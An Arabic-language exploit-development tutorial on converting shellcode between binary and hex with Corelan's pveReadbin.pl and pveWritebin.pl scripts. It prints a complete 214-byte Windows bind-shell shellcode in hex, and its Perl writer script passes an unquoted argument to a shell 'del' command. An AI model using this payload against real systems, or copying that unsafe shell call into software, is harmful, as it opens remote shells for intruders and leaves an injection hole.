تحويل Shellcode من Hex إلى Binary والعكس

غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe، لكن ماذا لو نسينا أيا من هذه الـ Shellcodes لسبب ما؟ وقتها سنتحتاج إلى البحث عن Shellcodes من مصادر أخرى، وقد نجدها بامتداد “bin”، وقتها سنحتاج إلى تحويل الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا.
في هذه الحالة سنحتاج إلى تحميل السكريبت pveReadbin.pl لمبرمجة Peter Van.
قد تواجه أيضا حالة تحتاج فيها أن يكون الـ Shellcdoe خاصتك في ملف binary، مثلا في حالة استخراج الـ Bad Characters، في هذه الحالة سنحتاج إلى تحميل السكريبت pveWritebin.py

تحويل الـ Shellcode  من Binary إلى Hex

 لتحميل الأداة pveReadbin
– طريقة الاستخدامperl pveReadbin.pl shellcode.bin
مثال:
perl pveReadbin.pl w32-bind-ngs-shellcode.bin
Reading w32-bind-ngs-shellcode.bin
Read 214 bytes
--------------------------------------------
Displaying bytes as hex :
--------------------------------------------
"\x31\xc9\x64\x8b\x71\x30\x8b\x76".
"\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b".
"\x7e\x20\x8b\x36\x38\x4f\x18\x75".
"\xf3\x51\x68\x32\x5f\x33\x32\x68".
"\x66\x56\x77\x73\x68\xb7\x8f\x09".
"\x98\x89\xe6\xb5\x03\x29\xcc\x29".
"\xcc\x89\xe7\xd6\xf3\xaa\x41\x51".
"\x41\x51\x57\x51\x83\xef\x2c\xa4".
"\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78".
"\x01\xeb\x8b\x4b\x20\x01\xe9\x56".
"\x31\xd2\x42\x8b\x34\x91\x01\xee".
"\xb4\x36\xac\x34\x71\x28\xc4\x3c".
"\x71\x75\xf7\x3a\x27\x75\xeb\x5e".
"\x8b\x4b\x24\x01\xe9\x0f\xb7\x14".
"\x51\x8b\x4b\x1c\x01\xe9\x89\xe8".
"\x03\x04\x91\xab\x80\x3e\x09\x75".
"\x08\x8d\x5e\x04\x53\xff\xd0\x57".
"\x95\x80\x3e\x73\x75\xb1\x5e\xad".
"\xff\xd0\xad\xff\xd0\x95\x81\x2f".
"\xfe\xff\x8f\x33\x6a\x10\x57\xad".
"\x55\xff\xd0\x85\xc0\x74\xf8\x31".
"\xd2\x52\x68\x63\x6d\x64\x20\x8d".
"\x7c\x24\x38\xab\xab\xab\xc6\x47".
"\xe9\x01\x54\x87\x3c\x24\x57\x52".
"\x52\x52\xc6\x47\xef\x08\x57\x52".
"\x52\x57\x52\xff\x56\xe4\x8b\x46".
"\xfc\xe9\xca\xff\xff\xff";
Number of null bytes : 0
--------------------------------------------
Displaying bytes as ascii :
--------------------------------------------

تحويل الـ Shellcode  من Hex إلى Binary

– لتحميل الأداة pveWritebin
 طريقة الاستخدام
افتح السكربت واستبدل العبارة “Put You Shellcode Here Line“ بالـ Shellcode 
#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode="Put You Shellcode Here Line1".
"Put You Shellcode Here Line2".
"Put You Shellcode Here Line3";
#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file\n";
ثم نفذ السكريبت بهذه الطريقةperl pveWritebin.pl shellcode.bin
تحذير!!
احذر من استخدام Shellcode غير موثوق واعرف محتويات هذا الملف (لأنه يقد يحتوي على أوامر تضر نظامك!!) بالطرق التالية:
 على لينيكس -> stringsstrings shellcode.bin
– على ويندوز -> type
type shellcode.bin
صورة ذات علاقة

تحياتي واحترامي.